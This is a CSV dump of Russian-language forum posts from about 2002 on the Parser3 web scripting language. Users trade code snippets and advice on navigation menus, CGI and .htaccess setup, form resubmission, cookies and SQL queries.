"4862","В сообщении http://www.parser.ru/forum/?id=1239 данны ссылки на бинарии, но они не работают. Есть ли это где-нибудь?"
"4864","Спасибо за ответ.\
\
[code]^if [in \"\"][/code] действительно работает но не совсем так как хотелось бы. Дело в том что все это надо для построения меню как на парсер.ру -- что бы разде где находимя закрашивался вне зависимости от того насколько мы углубились внутрь директорий.\
\
Все директории сайта лежат внутри [code]/[/code] и соответственно ссылка на главную страницу [b]всегда[/b] закрашена. Голову ломал над этим все выходные, нагорордил кода трехэтажного но с [code]^if [in \"\"][/code] ничего не получится.\
\
\
--\
\
"
"4865","kak ya ponyal - ti hochesh vivesti znacheniye peremennoy kak text.\
i sorry..ya tolko razobralsya, v tom, che ti hochesh..:)\
\
Znachit tak....\
mne kazhetsa, chto vse delo v auto.p. Et ist, peremenniye, opisanniye v auto.p, bez opredelennogo objecta ne vityanut..\
Poprobuy vot tak\
[code]\
v auto.p pridumay object, tipa\
@obj[]\
#nizhe zaday peremennuyu\
$confdir[filespec]\
$result[$confdir]\
[/code]\
a potom v scripte pishesh\
[code]\
ConfDir = ^obj[]\
[/code]\
i poluchitsa to, chto tebe nado...\
\
a po voprosu vizova auto.p iz shell'a - eto uzhe ne v moey kompetentnosti...:) po etomu voprosu obratis k professionalam - ya to tut sam tolko 2 nedeli script'yu."
"4866","s pomoschyu regexpфv kopiruy pervoye  znacheniye mezhdu slash'ami (/..../) i potom ^эf (in \"$1.match\"){la-la topolya}...imho..."
"4867","нафиг, пусть лучше код даст. Работает in внезависимости от того расколько глубоко залезешь в подкаталоги, у меня все работает во всяком случае."
"4869","YA PONYAL! YA PONYAL!!!\
u menya eto tozhe ne rabotalo - i vot kak ya eto sdelal:\
v sections.cfg uri \"Glavnoy\" stranitsi ukazal ne kak \"/\", a zamenil ego na \"/index.html\" - i vse rabotaet! esli $request:uri = \"/index.html\" - znachit mi naglavnoy!\
Understand?!.....\
P.S....ya geniy....."
"4870","это в тексте который выдаст MS HTML Edit control так будет, но еще будет upload фала одновременно...\
а где почитать - я на MS-е почитал, даже сделал полный редактор с таблицами, выбором цветов для текста и т.д. и т.п.\
если есть надобность - кину ссылку на архив, там будет страница на которой форма со всеми приблудами, и всё остальное."
"4871","до тех пор пока ты не захочешь изметить default document. Использование явного названия default document дурной тон."
"4872","Уважаемый egr.\
К сожалению сижу в кафе -- дома инет в дауне, поэтому исходник целиком привести не могу.\
\
Побовал так\
пользовательский оператор\
[code]\
@start[url_beginning;congruent;notcongruent]\
^if[$url_beginning le $request:uri]\
{\
$congruent\
}{\
$notcongruent\
}\
[/code]\
и вызавал его в шаблоне \
[code]\
^start[/admin/;Вы админ;Вы НЕ админ]\
[/code]\
\
при этом в диретрии админ все верно, а при переходе в друую -- врет (или наоборот не помню)\
\
Объяснил себе это неуместным применение le а для eq придумать без матча ничего не мог.\
\
Может быть уважаемый egr покажешь часть своих сорцов... если можно конечно.\
\
Спасибо.\
"
"4873","ladnoooo...ya znayu, chto gorditsa - reto ne horosho....\
\
imho, default document - eto ne problema - pishi hot' \"zhopa.html\", no ne zabud pomenyat eto v sections.cfg - i vse budet rabotat'! Razve net?! Budet!\
U kogo est' drugoe resheniye dannogo voprosa - proshu na stsenu...:)"
"4874","например твой сайт живет пару лет с index.html на него куча сайтов делает линки и все хорошо. В один прекрасный день ты решаешь вместо индекса сдалать жопу (zhopa.html) и все линки стали вести на 404 (натуральная жопа). Можно конечно с помощью mod_rewrite это дело выправить, но зачем? лишняя нагрузка на сервер, лишняя работа. Когда можно сделать сразу нормально и не писать явно default document."
"4875","horosho...esli k voprosu podhodit s etoy storoni - to ti prav...\
No kak bit so storonoy organic'a?! Emu to nado pomoch! Lichno ya ne vizhu drugogo vihoda(takogo zhe prostogo)... V printsipe mozhno posidet, potvorit - mozhet che nibud pridumaetsa...:)"
"4876","[code]\
@start[url_beginning;congruent;notcongruent]\
^if(in \"$url_beginning\"){\
	$congruent\
}{\
	$notcongruent\
}\
[/code]\
мои сорцы не жалко, но их бессмысленно смотреть :)"
"4877","Опять не то :(\
Речь идёт про тот auto.p, который является файлом конфигурации парсера. В нём есть ф-я @info[filespec], которая выполняется перед @auto[]. В этой ф-и задаётся несколько переменных, необходимых для функционирования различных модулей. Но всё это не работает."
"4878","[code]\
@start[url_beginning;congruent;notcongruent]\
$result[^if(in \"$url_beginning\"){\
	$congruent\
}{\
	$notcongruent\
}]\
[/code]"
"4879","a razve @auto[] ne vipolnyaetsa pervim?! i vse chto pered nim - ignor! pomoemu - tak.\
poprobuy tak\
1.opishi @auto[]\
2.v nem vizovi ^info[]\
3.opishi @info[filespec]\
dolzhno poluchitsa, tak kak ti vizivaesh @info[] v objecte @auto[].\
Poprobuy - ne poluchitsa - obraschaysya k profi'yam (egr, Luzhinovskiy, PAF, Misha v.3 et cetera)..."
"4880","[code]\
@start[url_beginning;congruent;notcongruent]\
$result[^if(in \"$url_beginning\" && $url_beginning ne \"/\"){\
  $congruent\
}{\
  $notcongruent\
}]\
[/code]"
"4883","1.a nelzya li v Parser'e za'crypt'it password? naprimer, s md5()..."
"4884","При загрузке страницы index.html все загружается верно, но внизу окна IE появляется желтый знак ! (выполнено с ошибками на странице). Открываю подробности, там написано: данная страница содержит ошибки и возможно она отображается и действует не правильно -\
строка: 37 \
знак: 1\
ошибка: 'Ms'-определение отсутствует\
код:0\
\
В файле index.html по этим координатам находится счетчик SpyLog (javascript). Может быть дело в Java.\
"
"4885","Parser прибивает обычные знаки $, ^, ; в HTML-коде (и JS есс-но), видимо дело в этом. См. документацию."
"4888","и последнее китайское про транслит..."
"4889","Ya nahozhus v Turkey - student. Nu net tut russkih klav! NET! Che mne - copy-paste russkiye bukvi iz vashih textov, chto-li?!..;)"
"4890","ну, не могу я писать на кириллице - не могу! Заставляете человека тыкать по клавиатуре в поисках нужной буквы!\
[b]Вопрос[/b] можно ли кешировать изображения? Чтобы на каждой странице не вызывать эти рисунки снова...\
\
\
ЗЫ: аж вспотел, пока написал.......ну можно я буду писать на латиннице!!! Пожалуйста!!!"
"4891","У тебя есть какие-то критерии, по которым ты хочешь кешировать файл?\
\
Например, ты хочешь чтобы у тебя картинка генерилась раз в сутки...\
\
Делаешь так:\
1. смотришь, есть-ли картинка на диске (можешь в ее название засунуть год_месяц_день и искать файл по маске)\
2. если есть - показываешь ее\
3. если нету, или она экспайрнулась - генеришь, записываешь и... см п.1\
\
Про транслит... Меня народ убедил, что килять нехорошо все-таки...\
\
Однако так-же сообщили, что эти сообщения не читают, т.к. ломать глаза не охота...\
\
Так что делай как знаешь... Бушь писать транслитом - не ожидай, что тебе будут отвечать все..."
"4892","Can I cache pictures?"
"4893","I can write my messages in english - but will everybody understand them? IMHO - latinnica - is the best way between russian nad english! Why don't U understand this? I don't think that somebody takes difficulty in reading my messages... In any way - thank you for your attention to us...:)"
"4894","как лучше передать значение переменной в след страницу. Делаю новостно отдел - нужно чтоб был выбор типа предыдущие/следующие 10 сообщений, делаю через $.offset[] после запроса в MySQL. так вот нужно чтоб текущее значение передалось в след страницу. через поле input hidden c value=\"var\" не получается. и вообще может я неправильно подошел к этой проблеме, и лучше как-то по другому сделать? \
А насчет переменной - наверное надо запросить страницу и в строке запроса передать переменную, я прав?"
"4895","это было, но не помогло )\
как оказалось - DisableCharset on работает только в конфиге сайта а не в конфиге конкретной директории, как мне надо было.\
все решил (\
ЗЫ: а и в правду быстрее чем с php делать, по срокам то....\
щас три сайта сделаю и сдам заказчикам - сюда ссылки пришлю )))) в галерею ))"
"4896","Наваял вот такой код но как то он не до конца работпет\
\
Пользовательский оператор\
[code]\
@start[uri_beginning;congruent;notcongruent]\
^if(in \"$uri_beginning\"){\
$congruent\
}{\
$notcongruent\
}\
[/code]\
\
И потом в ауто.р следующий метод с использованием пользовательского оператора\
[code]\
@main_navigation[]\
$sections[^table::load[/sections.cfg]]\
\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
<tr bgcolor=\"#FFFFFF\">\
	^sections.menu{\
	<td bgcolor=^start[$sections.uri;66cc66;FFFFFF]>\
		^if($sections.uri eq $request:uri){\
	$sections.name\
		}{\
	<a href=\"$sections.uri\">$sections.name</a>\
		}\
	</td>\
	}\
</tr>\
</table>\
[/code]\
\
Вот. И вся эта нехитрая конструкция всегда закрашивает ссылку на \"/\", (тк все директории находятся внутри \"/\"). "
"4897","Гмне кажется нужно решать проблему глобально пока сайт находится в стадии разработки.\
\
Как я понял в корне ( / ) находится главный раздел сайта. Выглядит вполне логично, но если представить себе дерево такого сайта (плохо с воображением: откройте виндовым эксплоером :), то получается что вместо корня сайта лежит равноправный раздел, как и те разделы, что загнаны в подкаталоги.\
\
Короче. Надо сделать раздел /main/ или типа того, и проблема отпадет сама. А корень на то и корень, чтобы быть корнем %) там хорошо поместится intro-заставка, если есть, а если нет то делаем там страничку с редиректом на main.\
\
Вот ссылочка по теме http://parser.ru/forum/?id=4715.\
Почитайте идеологию XML (раздел правильные документы), будете лучшим садоводом-теоретиком (в смысле мастер по деревьям) :)"
"4898","поставь себе виртуальную клавиатуру все проще\
\
но лучше зати сюда http://1001.vdv.ru/solo/"
"4899","есть такие наклеечки на клаву специальные, для русификации. Их искал, а в интернет магазинах?\
\
А выдумку приложить? Возьми лейкопластырь (они то есть в славной стране не заходящего солнца) такой в ленте несколько метров. Вырезай кусочки под размер клавиш и за час методом тыка (буквально) расставь их по местам. Несмываемым тонким маркером напиши буквовки. Где русская выдумка?! ;-)\
\
А потом плюнь, скачай Соло и научись набирать. (см. пред.)"
"4900","Ктонибудь знает, как отрубить на х... в ХР проверку свободного места на дисках ну за... уже!!! >:( ) Нету у меня места, нету...\
\
2. Где найти дефрагментатор (под ХР) которому по ... сколько у меня свободно."
"4902","Дорогие PAF, причастные и форумчане.\
\
Я подумал что если строить систему редактирования, например, таблицы записаной в файл, то возникает след. сложность. Невозможно точно определить во время получения данных сабмита делались ли уже аналогичные действия раньше. Поясню.\
Представьте - в таблице пять строк, пользователь положим выбрал строку Пупкин, в файле это строка номер два, нажал кнопочку удалить строку. \
Свершился сабмит строка удалилась, строки с третьей по пятую сдвинулись на место второй, файл обновился. ура. Теперь пользователь жмет рэфреш, браузер внимательно спрашивает послать ли снова данные формы, пользователь жмет да. Но на месте второй строки уже третья и удаляеться не в чем не повинный Петров.\
\
Как отследить ? - предлагаю и взываю к обсуждениям.\
Предлагаю - не много не мало ввести в парсер оператор расчета CRC32 который считал бы это CRC для таблицы, строки символов, binary файла. И просто прописывать hidden тэг со значением этого CRC на странице с выбором чего удалять. А на странице которая сабмит обрабатывает непосредственно проверять переданный CRC и CRC рассчитаный по редактируемой таблице.\
\
(прочиать про радости CRC на русском можно тут http://emanual.ru/download/803.pdf )\
\
Как Вам идея?\
"
"4903","Это уже обсуждалось на форуме 2-го ПАРСЕРа: \
вообщем приведу пример из 2-го\
[code]\
^ifdef[^form[submit];\
 ^ifdef[^form[header]^form[text]^form[pict];\
  ^sql[insert in to news .....]\
 ]\
]\
[/code]\
просто проверяешь нажатие \"сабмита\" и заполнененость самой формы\
и только потом(если все - ок) пишешь все в файл(базу).\
"
"4904","Можно, например, проверить дату файла, и вставлять эту дату в input hidden. Смотри file::stat. Точность будет до секунды. Я думаю, этого должно хватить -- с момента получения страницы до момента подтверждения формы должно быть более секунды. ;-) \
\
По какому принципу собираешься удалять записи? Если по id, то он должен быть уникальный и проблем быть не должно. Если по полю name, то проблемы будут только при не уникальных значениях полей, по которым производиться удаление. И вообще, AFAIK, в парсере3 не предусмотрена возможность удаления строк из служебного типа \"таблица\". ;-) Все используют базы данных, это намного удобнее. ;-) "
"4905","тута некоторые люди все еще хранят в файлах :((\
вопросик :0 - как удалять поля правильно если нет id ...\
можно какой- нить пример с выводом и удалением ?"
"4906","При этом всем если я давлю сабмит, а затем нажму рэфреш и еще раз рэфреш, и еще раз рэфреш, в базу 4 раза будет прописываться.\
\
Ибо IE очень умный и помнит всю отправленную форму включая сабмит и все поля, по этому по нажатию рэфреша отправляет это все еще раз.\
\
Задача это отследить и не реагировать на повторные отправления, и в базу писать только первый раз. Но подчеркиваю таблица храниться в файле - plain text без номеров строк. По этому никаких радостей вроде уникального id нет. Как-то нужно помнить состояние изменяемой таблицы, и чекить его при всех постах. Т.е. гарантировать что применяем к таблице запрошенное действие если она находиться в запрошенном состоянии. Т.е. после первого поста состояние таблицы меняеться и при последующих повторных постах по рэфрешу состояние таблицы просто не удовлетворяет запрашиваемому. Идеальным описателем состояния таблицы служит CRC. (Или другой описатель может кто предложит и как его легко посчитать?) Вероятность идентификации двух разных таблиц как одинаковых при сравнении их CRC равна 1/(2^32). Беда в том что алгоритм расчета CRC мне не очень прозрачен и я подозреваю что языковых возможностей парсера нехватает чтобы это все сделать, пусть даже в нем есть и XOR и AND.\
\
У кого какие мысли?\
\
А гемор весь по тому что мне надо текстовый файл с паролями для Apache редактировать."
"4908","Нет, секунда между рэфрэшами - это не серьезно.\
\
Строки удаляются по порядковому номеру."
"4909","Ниужели у людей не хватает фантазии?\
у меня эт решается просто.\
В админ модуле когда создается раздел, автоматом создается файл с уникальным id который сответствует id в базе данных. В auto.p идет сравнение на соответствие. И не какой \"/\" меня вообще не имел :)"
"4910","Data - таблица сформированая по файлу с паролями для апача, каждая строка которого задана в формате user:pass. Вывод для выбора:\
[code]\
...Загрузка файла...\
Data.menu{\
   <input type=checkbox name=TableRecord value=^Data.line[]> - $Data.name\
}\
[/code]\
\
Реакция по сабмиту - удаление выбраного:\
[code]\
...Снова загрузка файла...\
# отбрасывание удаляемых строк\
$RecordsOperateOn[$form:tables.TableRecord]\
$criteriy[^RecordsOperateOn.menu{^(^^Data.line^[^]!=$RecordsOperateOn.field^)}[ ^&^& ]]\
$Data[^Data.select($criteriy)]\
...сохранение файла\
[/code]\
"
"4911","Неправильно со всех точек зрения удалять строку в таблице по ее номеру. Если я не ошибаюсь, ты редактируешь файл паролей. Производи удаление по имени пользователя (они же не повторяются), или заведи в файле лишнее поле с уникальным номером. Или сформируй число по хэшу пароля. Никаких CRC не нужно -- зачем лишний раз сервер грузить...\
\
Или вот -- представь парольный файл как SQL-таблицу, напиши к ней запросы, потом по этим запросам напиши методы для работы с файлом.\
"
"4913","Сделаем пример:\
00:00:02 выдаётся страница с input hidden \"00:00:01\" -- время изменения файла. \
00:01:02 делаем submit\
00:01:03 сабмит доходит до выполняемого файла, строка удаляется, время изменения файла перестаёт быть равным значению поля input hidden (00:00:01), дальнейший submit, хоть в ту же секунду, ничего не принесёт. ;-)\
\
Теперь понятно? ИМХО, это очень даже серьёзно! Ошибка возникнет только если: время изменения файла == время получения формы == время сабмита формы == время рефреша с точностью да секунды. Что, ИМХО, исключено. ;-)"
"4914","1)\
http://3dnews.ru/reviews/software/win-xp-faq/   пункт (3.25)\
либо просто поставь майкрософтовский твикер, в нем через Taskbar/Warn when low on disk space \
http://www.microsoft.com/windowsxp/pro/downloads/powertoys.asp\
http://download.microsoft.com/download/whistler/Install/2/WXP/EN-US/TweakUiPowertoySetup.exe\
 \
2) ..\
http://forum.ixbt.com/?id=22 aka Программы: OС и системное ПО \
http://forum.ixbt.com/?id=22&name=дефраг\
* Дефрагментатор под ХР  Snow 16 04.06.2002 15:26\
* Как дефрагментировать раздел с кластером >4k.....?  ED$KA 1 24.04.2002 01:24\
* Запускается дефрагментация при простое в WInXP. Как отключить?  GSerg 1 26.03.2002 10:24\
* К вопросу о дефрагментации: \"Free space on current dirve is less than 15%\". Я что, для этого 60Гб купил, чтобы 9 всегда были свободными?  Che Gevara 5 25.03.2002 13:42"
"4915","У мене Apache под 2000, не могу настроить парсер, как cgi\
посоветуйте\
директория cgi настроена правильно (perl работает)\
в нее я скопировал файл parser3.exe\
в корневой директории сайта в файле my.access (ну так они у меня обзываются) включил строки\
\
AddHandler parsed-html html\
Action parsed-html /cgi/parser3.exe\
\
что еще надо сделать?"
"4916","Да скорей всего именно так и придеться делать."
"4918","Обыкновенно!\
Скачал версию для Free BSD и ГКФ.\
Закачал все на сервак, в папку \"cgi-bin\".\
На parser3.cgi поставил 755.\
В .htaccess все как написано сделал.\
Последнюю строчку пробовал добавлять/убирать - ничего не помогло!"
"4919","1. в лоб: запомни размер таблицы, для приведенного примера хватит за глаза\
2. как мы обычно делаем: после выполнения апдейта - редиректишь броузер на себя-же. чувак видит то-же самое, но никаким рефрешем он ничего не поломает\
\
P.S. такие данные все-таки рекомендуется держать в SQL и работать с ними соответственно - избавишься от многих проблем."
"4920","в базе данных, а при изменениях через админ генерить этот файлик заново."
"4923","можно так:\
[code]\
@f[]\
$response:body[out]\
@main[]\
$a[^f[]]\
[/code]\
это заменит обычный результат всей страницы на слово out.\
\
или так:\
[code]\
@f[]\
$before_body[out]\
@main[]\
$a[^f[]]\
@postprocess[body]\
$before_body\
$body\
[/code]\
\
если будум знать задачу, может придумаем что лучше.\
\
общая идея: если делать неочевидные вещи, кто другой или ты сам через полгода ногу сломаете разбираться и проклянёте автора такого."
"4924","http://www.dklab.ru/ Просто руль!!! Плюс руки, голова и ултраедит в придачу :)))"
"4925","Да через конфиг я настроил, но это дома, а если я не имею доступа к конфигу?\
Хотелось бы попробовать через .htaccess - ведь не везде можно получить доступ к конфигу (вернее нигде). В хелпе написано, что это возможно.\
Конечно тут скорее всего дело в сервере, но интерпртатор никто и не винит.\
просмотр .htaccess я настроил"
"4927","вероятно ты пытаешься на free hosting работать?"
"4928","Могу я удалить ссылку на предыдущую страницу.\
Т.е. чтобы после загрузки новой страницы, пользователь не мог вернуться на предыдущую с помощью кнопки браузера '<- Назад'."
"4929","Этот вопрос - offtopic...\
Значит так...\
В процессе создания форума для своего сайта я перечитал немало доков по поводу оптимальной организации (сорри, я повторяюсь)форума. Многие советуют разделить форум на 2 части - в одной хранить детали сообщения, в другой - тело сообщения. С этим я полностью согласен - SQL-Server не перегружается и форум в общем работает быстрее. Меня интересует вопрос по поводу удаления сообщений. Советуют не удалять сообщение полностью, а всего лишь помечать его как \"устарелое\", а на сайт выводить только новые. Это тоже хороший совет, так как старое сообщение - это не значит, что оно ни кому не пригодится. Но если представить такой форум через год существования - это огромное скопище старых и новых сообщений. Я не думаю, что это положительно скажется на работе форума.\
Как организовать форум так, чтобы и старые сообщения не удалять, и чтобы форум работал быстро? Может старые сообщения хранить в другой паре таблиц? Или, все-таки, периодически, старые сообщения удалять? Посоветуйте оптимальное решение..."
"4930","Вобщем, мы друг друга не поняли. \
Есть у меня доступ и к конфигу и к .htaccess, но охото настроить так, чтобы не торогать конф (у хостера можно без особых проблем выпросить доступ к .htaccess надо ведь только чтобы он разрешил серверу просматривать их в твоем разделе).\
 Я разрешил просмотр этих файлов на своем домашнем серваке, но ничего почему-то не работает, но вот почему?\
 Я думаю что дело в настройке .htaccess, но как их правильно настроить?\
 Я прописал для каталога с документами\
\
<Directory \"C:/Program Files/Apache Group/Apache/users\">\
    Options Indexes FollowSymLinks MultiViews\
    AllowOverride all \
# как я понимаю ничего больше и не надо, но не работает же\
    Order allow,deny\
    Allow from all     \
</Directory>"
"4931","а не info…"
"4932","но надеюсь у тебя cgi-bin директория вне веб-пространства, если нет то надо еще разрешение ExecCGI"
"4934","спасибо за корректуру. Но вернёмся к сути вопроса.\
Можноли заставить парсер читать свой конфиг, когда он используется как коммадный интерпритатор?"
"4935","значить делай все в нем."
"4937","Кто-нибудь имеет успешный опыт (установки)/(сборки из исходников) Parser3 на MacOSX?\
\
Если да - буду признателен за консультацию.\
"
"4938","и говори как было до этого, очевидно что в httpd.conf была строка:\
\
AccessFileName my.access\
\
и ты вернул обратно все:\
\
AccessFileName .htaccess\
\
сервер перезапускал?"
"4939","agat, я читаю почти все сообщения, твои не читаю совсем. не могу себя заставить.\
\
что до букв, если слепая печать пока не освоена, можно купить клаву и написать на ней буквы хорошим фломастером."
"4940","насколько я знаю, парсер3 собирается под макос, но без поддержки xml. нужно спросить Лужниковского."
"4941","мы с лужниковским собирали.\
имели проблемы с libtool, он чего-то там не опознавал, обновили до последнего, собралось.\
со временем перейду на всё самое последнее. и libxml & co и auto* и libtool.\
\
будут проблемы сборки sql драйверов, мы не добились от auto*+libtool+libltdl работоспособного dlopen, обошли проблему.\
\
если у кого есть энтузиазм и он готов с этим всем разобраться, мы будем только рады. пока у нас самих такой задачи не стоит — она не приоритетна."
"4944","нууу....знаете ли!\
Как я уже писал, я сейчас нахожусь в Турции(студент)... Интернетом пользуюсь исключительно из internet-cafe. Вы что, предлагаете мне клавиатуру с собой таскать? Вслепую я пока не умею (не было возможности научиться), рисовать на cafe'шных клавиатурах мне не позволят. Выход - или писать сообщения на транслите, или, как сейчас, тыкать по клавиатуре в поисках нужной буквы...\
С уважением, Газанчиян Азиз Михайлович.\
\
P.S. А я читаю ВСЕ сообщения...и стараюсь помогать всем, без исключения."
"4946","Меня интересует, что за данные пишутся в cookie файл(че-то..че-то.txt)? В некоторых моментах я разобрался - название, значение... Но там еще много всяких циферок! Я думаю, может это время? Только не одно значение не является кратным 60! Че ж это за циферки такие хитрые?! А?! В доках я про это ничего не нашел..."
"4947","как правильно догадываетесь, чтобы sql был нормальный, надо заменить ряд символов, самое простое, это сделать\
\
'^taint[…]'\
\
тогда при ^process сам parser сделает всё, что нужно, чтобы sql отработал нормально.\
\
но: если в тексте попадётся символ ^, не имеющий отношения к коду на parser, то ^process на нём споткнётся.\
\
отдельным письмом напишу, как можно бы."
"4948","Я на счет barcode'ного рисунка...\
Как можно за'barcode'ить буквы? Ведь, если я не ошибаюсь, для каждой цифры есть соответствующий barcode. Но я не слышал про буквенный barcode! Разъясните, пожалуйста, ситуацию...\
\
P.S. Вам может показаться, что я засоряю форум offtopic'ами - ну мне просто интересно!"
"4949","можно так:\
\
[code]\
…\
<xsl:template match=\"item\">\
    <postprocess>\
        <items>\
            <item … price=\"{@price}\" />\
        </items>\
    </postprocess>\
</xsl:template>\
…\
[/code]\
\
после transform найти узел/узлы \"postprocess\" и сделать с ними что-то.\
\
при этом код на parser в них не помещать, чтобы не смешивать водку с пивом."
"4950","Какая выходит ошибка? Parser закачан не в BINARY, а в ASCII.\
\
"
"4951","ибо [i]нефиг[/i]. Тебе-то что? $cookie.имя[текст] куку присваивает,  $cookie.имя читает - а как оно в IE (Opera, Lynx, Mozilla, WebTV) хранится, тебя заботить не должно..."
"4952","а разве разные browser'ы шифруют cookie по-разному? а если я установил cookie на MSIE, а потом зашел на сайт в Opera, или NN? Че - мой cookie не прокатит?! Весело, однако...)"
"4953","...прошерстить мой диск в поисках cookies в Opera и Mozilla, затем подмонтировать линуксовый раздел, чтобы взять куки из Lynx и Konquerror, потом сломать сетку у меня на работе и взять cookies с моего рабочего компьютера, по инфрареду связаться с моим Palm'ом, чтобы взять куки из браузера AvantGo (ничего не упустил), да? Ты так себе это представлял?"
"4954","Вопрос вот какой. Как влияет (и влияет ли) использование Парсера на индексацию страниц сайта поисковыми роботами Yandex, Rambler и т.п. Не ухудшится ли релевантность сайта при использовании Парсера? Есть ли в Парсере механизм для повышения вероятности нахождения страниц сайта по определенным ключевым словам?"
"4955","После появления адреса моего сайта в http://www.parser.ru/powered_by_parser/ по этой ссылке стали приходить посетители :-)\
\
А вопрос - идиотский. А как на индексацию влияет PHP? Perl? Python? J Servlets? ASP? Поисковый робот смотрит на твою страницу глазами посетителя, ему пофиг, что у сайта в backend.\
\
Конечно, ты средствами Парсера можешь определять, кто пришёл тебе на сайт - простой юзер или индексирующий робот яндекса или гугля и подсовывать последним специально сформированную страничку. Но цензоры это дело не любят - заметят, что васе пупкину ты даёшь одно, а Google Bot'у - тучи сверхпопулярных слов из поисковых запросов - выкинут тебя из базы нафиг."
"4956","Простите если опять спрошу глупость, но хочется узнать каким образом можно определять, что на сайт пришел поисковый робот и подсовывать ему нужную страницу. "
"4957","[Tue Aug  6 09:06:19 2002] [error] [client 213.180.194.148] Premature end of script headers: /pub/home/valueb93/alex/cgi-bin/parser3.cgi\
/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table"
"4958","В ASCII.\
А что, нужно в binary?"
"4961","Что значит:\
user-request(1): '/pub/home/valueb93/alex/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/pub/home/valueb93/alex/index.html'  type: parser.runtime?\
Это мне выдает парсер на серваке. :( В локале все работает!"
"4964","И что теперь делать?\
Собирать из исходных кодов?\
Дык я не смогу. Может есть где-то уже, кто-то делал?\
Подскажите. Буду благодарен!"
"4966","FAQ рулит, зря ты так."
"4968","Вот я не могу собрать. Хорошо, конечно, было бы самому все сделать, но не могу -- не резиновый. Однако, уверен, что такой бинарник мне нужен -- на Зеноне скрипты от nobody запускаются, support дает добро и все такое..\
\
В конце концов, можно сделать отдельный раздел «для тех, кто approved», коим будет пароль даваться.\
\
И еще. Я не вижу никакого зла в том, чтобы давать такую ссылку открыто (тем более в форуме, как правило, ее ссобщают по первому запросу). В чем проблема-то? Что кого-то, по его же собственной неосторожности или глупости хакнули быстрее, чем могли?\
\
Пусть каждый сам решает, какой вариант Парсера ставить. Если уж он берется делать сайты, то пусть соответствует «системным требованиям». Если человек не знает, что делают его дрожащие руки, копируя куски непонятного кода -- увы, к терапевту, и никакая проверка группы файла тут не спасет.\
\
И меньше вопросов \"А где взять...\" будет -- это ж прямой FAQ ([i]часто задаваемый вопрос[/i], если кто забыл). Только в FAQ его днем с огнем поискать...\
\
ДАЙТЕ БИНАРНИК! Плиииз..."
"4969","На парсере можно получить доступ не только к выделенному элементу <select>, а сразу ко всем.\
пример:\
<select name=\"sel\">\
   <option>A1</option>\
   <option>B2</option>\
   <option>C3</option>\
</select>\
Мне надо увидеть сразу все элементы, с помощью $form:sel я вытащу только тот элемент который является текущим."
"4970","Низзя. Спецификацию по html почитай."
"4971","Но в то, что \"Zенон\" не может поставить SuEXEC я не верю. Не могут у них пользовательские скрипты от nobody запускаться."
"4973","Напишите пожалуйста пример"
"4974","есть коротенькие заметки для разных разделов сайта - структура страницы для заметок одинаковая и сами заметки с одинаковой структурой - хидер, топик, текст, картинки(они через пользовательский тег будут вставлятся).\
сам вопрос - проще раскидать заметки по базам для каждого раздела или хранить все в одном месте сделав в табле с заметками еще одно поле - раздел???"
"4976","Для sql несколько тысяч записей в таблице - совсем даже не много, и работает он с ними быстро (если правильно расставлены соответствующие индексы)\
\
Думать надо в сторону создания некой избыточной информации, чтобы не просчитывать при каждом запросе показать тред/дерево сообщений все заново, а брать готовое, которое должно обновляться при добавлении/изменении/удалении сообщений.\
\
Добавляются сообщения все-таки в разы реже, чем просматриваются ветки..."
"4977","В результате выполнения следующего кода\
\
------=_NextPart_000_009C_01BEA7AE.47C51900\
Content-Type: application/msword\
Content-Transfer-Encoding: x-uuencode\
Content-Disposition: attachment^; filename=\"License_Agreement.doc\"\
\
^uuencode[Соглашение;License_Agreement.doc]\
------=_NextPart_000_009C_01BEA7AE.47C51900-\
\
высылается файл с указанным именем и содержимым \"соглашение\". Как сделать, чтоб отправлялся именно файл? Спасибо."
"4978","Помогите пожайлуста:\
Я решил полность перейти на парсер, но вот проблема. Например в книгах по перлу или PHP есть примеры хотябы косвенные (рецепты) для создания того или иного скрипта, а вот в парсер я этого не нашел, кроме нескольких уроков по созданию меню и работы с базами. Подскажите как вообще сделать доску объявлений на парсер, правильно.\
И еще такой вопрос есть ли вообще всеобъемлящее руководство по языку Парсер, возможности довольно большие а как их постигать не понятно (только не надо посылать на урок№1 -...), на примерах и нагляднее и понятнее. Все хелпы я с Вашего сайта скачал.\
Подскажите может есть исходники, как например на cgi или php."
"4979","Значит так...\
Есть форум. Все детали, включая автора сообщения, записываются в отдельную SQL-таблицу. Представим себе форум, где 12 сообщений написал Рома, 17 сообщений написал Вася, и 9 сообщений написал Петя. При запросе  результатом будет таблица, содержащая 12 Ром, 17 Вась и 9 Петь. КАК получить таблицу с уникальными авторами? То-есть, таблицу в 3 строки с Ромой, Васей и Петей.\
Я тут думал... Но, как говорит мой отец, \"тут не думать, тут соображать надо!\". Короче, вот, что я насоображал :\
\
[code]\
$autor_lэst[table::sql{select author from forum order by author}]\
^author_list.menu{\
^if(^author_list.offset eq \"0\"){\
	$unicum_list[^table::create{author\
$author_list.author}]\
	$comp_author[$author_list.author]\
}\
^if($comp_author ne $author_list.author){\
	^unicum_list.append{$author_list.author}\
	$comp_author[]\
}\
}\
[/code]\
В результате у нас будет таблица unicum_list со списком уникальных авторов форума.\
\
\
Только мне этот код кажется мало-спортивным...\
Прошу обсудить это решение и, если что, дать дельные советы..."
"4981","Вообще-то я всем знакомым которые хотят переходить на парсер советую начинать со 2го парсера. К нему и примеров достаточно от Хвата и на форуме разобрали практически все \"грабли\"...\
\
Да и еще совет - не старайся создать идеальное решение - вряд ли получится. Просто пиши - потом оптимизируй. И так в цикле пока не надоест.\
\
Все вышесказанное мое imho..."
"4982","никто тебе в этом не поможет...RTFM,RTFM,и еще раз RTFM..."
"4983","потом вот-таких вот каракуль не будет!\
[i]совет coder'ам форума[/i]"
"4984","Обращайся ко мне, я те чем смогу помогй да и поближе буду, что соответственно увеличивает скорость общения и соответственно отдачу!!!"
"4986","как \"не просчитывать при каждом запросе показать тред/дерево сообщений все заново, а брать готовое, которое должно обновляться при добавлении/изменении/удалении сообщений\"?"
"4989","хоть многие не любят Corel )))\
но в нем есть barcode wizard )"
"4990","Теперь про taint/untaint - он тут не при чем.\
\
Это фича/баг IE.\
\
Дело было так: у тебя в эксплорере была включена неверная кодировка (например 1252), ты скопировал текст с русскими буквами в окно постинга.\
\
Ты нажал сабмит.\
\
Эксплорер решил, что это дело надо как-нить преобразовать, т.к. текст в textarea в 1251 а включена 1252, взял и перекодировал все... В entity (?)\
\
